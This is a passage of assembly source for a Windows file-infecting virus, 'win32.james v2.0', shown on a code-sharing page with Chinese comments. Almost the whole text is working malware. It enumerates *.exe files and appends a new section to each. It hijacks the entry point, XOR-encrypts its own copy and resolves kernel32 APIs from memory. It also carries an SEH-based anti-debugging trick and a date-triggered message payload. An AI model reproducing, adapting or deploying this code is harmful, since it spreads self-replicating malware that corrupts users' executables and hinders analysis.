📄 win32.james v2.0病毒源码.asm
字号:
cmp ecx,[esi].OptionalHeader.SizeOfHeaders
jge Notinfect
mov eax, [esi].OptionalHeader.AddressOfEntryPoint
mov Old_AddressOfEntryPoint[ebp], eax
mov eax, [esi].OptionalHeader.ImageBase
mov Old_ImageBase[ebp], eax;;;;;;;;;;;;;;;;;;;;保存远程序的入口地质
mov dwMySectionOffSet[ebp], edi;;;;;;;;;新节开始的位置
push esi
mov esi,edi
sub esi,sizeof IMAGE_SECTION_HEADER
pop ebx
assume esi:ptr IMAGE_SECTION_HEADER;last
assume edi:ptr IMAGE_SECTION_HEADER;new
assume ebx:ptr IMAGE_NT_HEADERS;nthead
;---------------------begin prepare the newsectioon;;;;;;;;;;;;;;;;;;
mov dword ptr [edi].Name1, "ZZ.";
mov [edi].Misc.VirtualSize, offset vend - offset vstart
;;;;sizeofrawdata/vitrualaddress/pointertorawdata
push [ebx].OptionalHeader.SizeOfImage
pop [edi].VirtualAddress
mov eax,[edi].Misc.VirtualSize
mov [edi].SizeOfRawData,eax
mov eax,[esi].SizeOfRawData
add eax,[esi].PointerToRawData
mov [edi].PointerToRawData,eax
mov [edi].PointerToRelocations, 0
mov [edi].PointerToLinenumbers, 0
mov dword ptr [edi].NumberOfRelocations, 02704h
mov dword ptr [edi].NumberOfLinenumbers,0h
;code/data/execute/read/write/inited data/un-inited data:
mov [edi].Characteristics, 0E00000e0h;read,write........
;**************************************************
;change SizeOfImage &AddressOfEntryPoint
;**************************************************
inc [ebx].FileHeader.NumberOfSections
mov eax, [edi].VirtualAddress
mov [ebx].OptionalHeader.AddressOfEntryPoint, eax
;;;;;;;;;;;;;;;;;;;;;;;;maybe add this will make programme prefect!!!!!!!!!!!!
mov [ebx].OptionalHeader.DataDirectory[11].VirtualAddress,0
;;;;;;;;;;;SIZEOFIMAGE!!!!!!!!!!!!!!!!!!!!!!!!!!!
;;;new
mov eax,[edi].Misc.VirtualSize
mov ecx,[ebx].OptionalHeader.SectionAlignment;1000h
div ecx
inc eax
mul ecx
add eax,[ebx].OptionalHeader.SizeOfImage
mov [ebx].OptionalHeader.SizeOfImage,eax
;;;;new end
;;;;oldcode
;mov eax,[edi].Misc.VirtualSize
;mov ecx,[edi].VirtualAddress
;add eax,ecx
;mov [ebx].OptionalHeader.SizeOfImage,eax
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
mov now[ebp],1;;;;;;;;;;;change now!
push FILE_BEGIN
push 0
push 0
push hFile[ebp]
call SetFilePointer_addr[ebp]
push 0
lea eax,byte_read[ebp]
push eax
push filesize[ebp]
push pMem[ebp]
push hFile[ebp]
call WriteFile_addr[ebp]
;;;;;;;;;;;;;;;加变体
push PAGE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push vend-vstart
push 0
call VirtualAlloc_addr[ebp]
cmp eax,0
jzNotinfect
mov pMem2[ebp],eax ;分配空间,准备变形
lea esi,vstart[ebp]
mov edi,pMem2[ebp]
push vend-vstart
pop ecx
rep movsb ;拷贝代码
mov esi,pMem2[ebp]
add esi,EncryptStart-vstart
mov edi,esi
mov ecx,EncryptEnd-EncryptStart
Enloop:
LODSB
xor al,27h
stosb
dec ecx
cmp ecx,0
jnz Enloop
;;;;;;;;;;;;;;;END加变体
push FILE_END
push 0
push 0
push hFile[ebp]
call SetFilePointer_addr[ebp]
push 0
lea eax,byte_read[ebp]
push eax
push vend-vstart
push pMem2[ebp]
push hFile[ebp]
call WriteFile_addr[ebp]
Notinfect:
cmppMem2[ebp],0
jzNorm
pushMEM_DECOMMIT or MEM_RELEASE
push0
pushpMem2[ebp]
callVirtualFree_addr[ebp]
Norm:
push pMem[ebp]
call UnmapViewOfFile_addr[ebp]
Mappingfail:
push hMap[ebp]
call CloseHandle_addr[ebp]
createMapfail:
push hFile[ebp]
call CloseHandle_addr[ebp]
createfail:
;;;;;;;;;;;;;;;end infect
EndDir:
lea eax,FindData[ebp]
push eax
push hFind[ebp]
call FindNextFile_addr[ebp]
cmp eax,0
jnz GoOnFind
;-------------------------------
FindEnds:
push hFind[ebp]
call FindClose_addr[ebp]
AllFindEnd:
;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@showtime!!!!!!!!!!!!!!!!!!!!!!!!!!@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
lea eax,NowTimes[ebp]
push eax
call GetSystemTime_addr[ebp]
cmp NowTimes[ebp].wDay,001Bh
jnz ExitTimes
cmp NowTimes[ebp].wMonth,0004h
jnz ExitTimes
;27th,4 is the date to show!
;4-27th is my birthday!!!
;--- action -------------------
InTimes:
;--------------------------------
push 0
lea eax,MyTitle[ebp]
push eax
lea eax,MyTalk[ebp]
push eax
push 0
call MessageBox_addr[ebp]
ExitTimes:
;-----------------return---------------
;pop esp
;pop ebp
pop eax
pop ecx
add eax,ecx
push eax
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;下面两个函数引用的罗聪的。
;**************************************************
;函数功能:查找 Kernel32.dll 的基地址
;**************************************************
GetKernelBase proc uses esi edi dwKernelRet:DWORD
LOCAL dwReturn: DWORD
mov edi, dwKernelRet ; edi = 堆栈顶
and edi, 0ffff0000h ; 用 AND 获得初始页
.while TRUE
.if word ptr [edi] == IMAGE_DOS_SIGNATURE ; 等于“MZ”吗?
mov esi, edi ; Yes, next...
add esi, [esi + IMAGE_DOS_HEADER.e_lfanew] ; 就是 esi + 3ch
.if word ptr [esi] == IMAGE_NT_SIGNATURE ; 等于“PE”吗?
mov dwReturn, edi ; Yes, we got it.
.break
.endif
.endif
;以下等同于sub edi, 010000h,即每次减少64k:
dec edi
xor di, di
.break .if edi < 070000000h ; 基地址一般不可能小于70000000h
.endw
mov eax, dwReturn
ret
GetKernelBase endp
;**********************************************************************
;函数功能:从内存中 Kernel32.dll 的导出表中获取某个 API 的入口地址
;**********************************************************************
GetApiAddress proc uses ecx ebx edx esi edi hModule:DWORD, szApiName:DWORD
LOCAL dwReturn: DWORD
LOCAL dwApiLength: DWORD
mov dwReturn, 0
;计算 API 字符串的长度(带尾部的0)
mov esi, szApiName
mov edx, esi
Continue_Searching_Null:
cmp byte ptr [esi], 0 ; 是否为 Null-terminated char ?
jz We_Got_The_Length ; Yeah, we got it.
inc esi ; No, continue searching.
jmp Continue_Searching_Null ; searching.......
We_Got_The_Length:
inc esi ; 呵呵, 别忘了还有最后一个“0”的长度。
sub esi, edx ; esi = API Name size
mov dwApiLength, esi ; dwApiLength = API Name size
;从 PE 文件头的数据目录获取输出表的地址
mov esi, hModule
add esi, dword ptr [esi + 3ch]
assume esi: ptr IMAGE_NT_HEADERS
mov esi, [esi].OptionalHeader.DataDirectory.VirtualAddress
add esi, hModule
assume esi:ptr IMAGE_EXPORT_DIRECTORY ; esi 指向 Kernel32.dll 的输出表
;遍历 AddressOfNames 指向的数组匹配名字:
mov ebx, [esi].AddressOfNames
add ebx, hModule ; 别忘了加上基地址,AddressOfNames 是 RVA
xor edx, edx ; edx = "函数计数",初始化为0
.repeat
push esi ; 保存esi,后面会用到。
mov edi, dword ptr [ebx] ; edi = 输出表中的当前函数名字
add edi, hModule ; 别忘了加上基地址
mov esi, szApiName ; 函数名字的首地址
mov ecx, dwApiLength ; 函数名字的长度
cld ; 设置方向标志
repz cmpsb ; 开始查找,我们先去喝杯咖啡吧 :)
.if ZERO? ; 找到啦?
pop esi ; 恢复 esi
jmp _Find_Index ; 查找该函数的地址索引
.endif
pop esi ; 恢复 esi
add ebx, 4 ; 下一个函数(每个函数的地址占用4个字节)
inc edx ; 增加函数计数
.until edx >= [esi].NumberOfNames
jmp _Exit ; faint,没找到,凄然退出……
;函数名称索引 -> 序号索引 -> 地址索引
;公式:
;API’s Address = ( API’s Ordinal * 4 ) + AddressOfFunctions’ VA + Kernel32 imagebase
_Find_Index:
sub ebx, [esi].AddressOfNames ; 上面的 repz cmpsb 那里,如果匹配的话,
; esi 就指向了下一个函数的首地址,所以要先减掉它。
sub ebx, hModule ; 减掉基地址,得到 RVA
shr ebx, 1 ; 要除以 2 ,还是因为 repz cmpsb 那行
add ebx, [esi].AddressOfNameOrdinals ; AddressOfNameOrdinals
add ebx, hModule ; 别忘了基地址
movzx eax, word ptr [ebx] ; Now, eax = API’s Ordinal
shl eax, 2 ; 要乘以 4 才得到偏移
add eax,[esi].AddressOfFunctions; + AddressOfFunctions’ VA
add eax, hModule ; + Kernel32 imagebase
;从地址表得到导出函数地址
mov eax, [eax] ; 得到函数的 RVA
add eax, hModule ; 别忘了基地址(说了很多次了,呵呵)
mov dwReturn, eax ; 最终得到的函数的线性地址。(呼……好累啊,终于完成了)
_Exit:
mov eax, dwReturn ; done!
ret
GetApiAddress endp
SEH1 proc uses ebx pExcept:DWORD,pFrame:DWORD,pContext:DWORD,pDispatch:DWORD
mov eax,pContext
Assume eax:ptr CONTEXT
mov [eax].regEcx,20 ;//Ecx改变
lea ebx, ExecuteHere
mov [eax].regEip,ebx ;//从我们想要的地方开始执行,嘿嘿,这就是很多;//反跟踪软件把你引向的黑暗之域
mov eax,0 ;//ExceptionContinueExecution,表示已经修复;//CONTEXT,可从异常发生处;//reload并继续执行
ret
SEH1 endp
EncryptEnd:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;DEFINE
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ALIGN 4
PE_head_addr dd 0
address2dd 0
dwMySectionOffSet dd 0
dwLastSection_SizeOfRawData dd 0
dwLastSection_PointerToRawData dd 0
Old_ImageBasedd0
Old_AddressOfEntryPointdd0
nowdd0
;===================================================
MessageBox_addrdd0
GetSystemTime_addrdd0
SetFilePointer_addrdd0
CreateFile_addrdd0
ReadFile_addrdd0
WriteFile_addrdd0
GetCurrentDirectory_addr dd 0
FindFirstFile_addr dd 0
FindNextFile_addr dd 0
FindClose_addr dd 0
CloseHandle_addr dd 0
VirtualAlloc_addr dd 0
CreateFileMapping_addr dd 0
MapViewOfFile_addr dd 0
UnmapViewOfFile_addr dd 0
GetFileSize_addr dd0
ExitProcess_addrdd0
LoadLibraryA_addrdd0
GetProcAddress_addrdd0
VirtualFree_addrdd0
Kernel32Base dd 0
szDllNamedb"User32", 0
szDllName2db "Kernel32",0
szMessageBoxAdb"MessageBoxA", 0
szGetSystemTime db"GetSystemTime",0
szSetFilePointerdb"SetFilePointer",0
szCreateFiledb"CreateFileA",0
szReadFiledb"ReadFile",0
szWriteFiledb"WriteFile",0
szGetCurrentDirectory db "GetCurrentDirectoryA",0
szFindFirstFile db "FindFirstFileA",0
szFindNextFile db "FindNextFileA",0
szFindClose db "FindClose",0
szCloseHandle db "CloseHandle",0
szVirtualAlloc db "VirtualAlloc",0
szCreateFileMapping db "CreateFileMappingA",0
szMapViewOfFile db "MapViewOfFile",0
szUnmapViewOfFile db "UnmapViewOfFile",0
szGetFileSizedb "GetFileSize",0
szExitProcessdb"ExitProcess",0
szLoadLibraryAdb"LoadLibraryA",0
szGetProcAddressdb"GetProcAddress",0
szVirtualFreedb"VirtualFree",0
;====================================================
MyTitle db "I am JamesV2.0:",0
MyTalk db "Say HappyBirthday to my host:ZhuZhe!Thanks for creating me!",0
Head_len dd 0
PE_head IMAGE_NT_HEADERS <>
img_testIMAGE_SECTION_HEADER<>
new_section IMAGE_SECTION_HEADER<>
hFile dd 0
des_in dd 0
des_base dd 0
des_basein dd 0
now_basein dd 0
byte_read dd 0
filesize dd 0
pMem dd ?
hMap dd 0
pMem2 dd 0
FileFilter db "*.exe",0
FindData WIN32_FIND_DATA <>
hFind dd 0
NowPath db 256 dup (0)
;-----------------------------
NowTimes SYSTEMTIME <>
;-----------------------------
vend:
invoke ExitProcess,0
end host_start
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -